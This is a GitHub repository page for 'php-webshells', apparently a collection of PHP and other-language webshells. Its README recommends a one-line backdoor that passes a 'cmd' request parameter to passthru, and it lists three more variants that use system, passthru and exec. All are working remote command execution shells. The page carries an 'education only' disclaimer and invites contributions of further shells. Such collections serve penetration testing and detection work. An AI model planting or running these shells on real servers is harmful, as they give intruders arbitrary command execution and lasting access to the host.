Skip to content

Spacecow99/php-webshells

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

php-webshells

Common PHP webshells. These are provided for education purposes only. Do not put these on a publicly-accessible webserver.

I recommend a one-liner and while not a full fledged webshell it works fine.

<?php echo passthru($_GET['cmd']); ?>

You can try WebHandler to manage one-liners for POST and GET requests:

    <?php system($_GET['cmd']); ?>
    <?php passthru($_REQUEST['cmd']); ?>
    <?php echo exec($_POST['cmd']); ?>

Contributing

To contribute other shells not listed here:

  1. Fork the repo
  2. Push the changes to your repo.
  3. Make sure to include a simple description of your webshell.
  4. Issue a Pull request.

About

Common php webshells. Do not host the file(s) in your server!

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • PHP 81.1%
  • Classic ASP 7.4%
  • CSS 6.3%
  • JavaScript 2.0%
  • Perl 2.0%
  • Java 1.0%
  • C 0.2%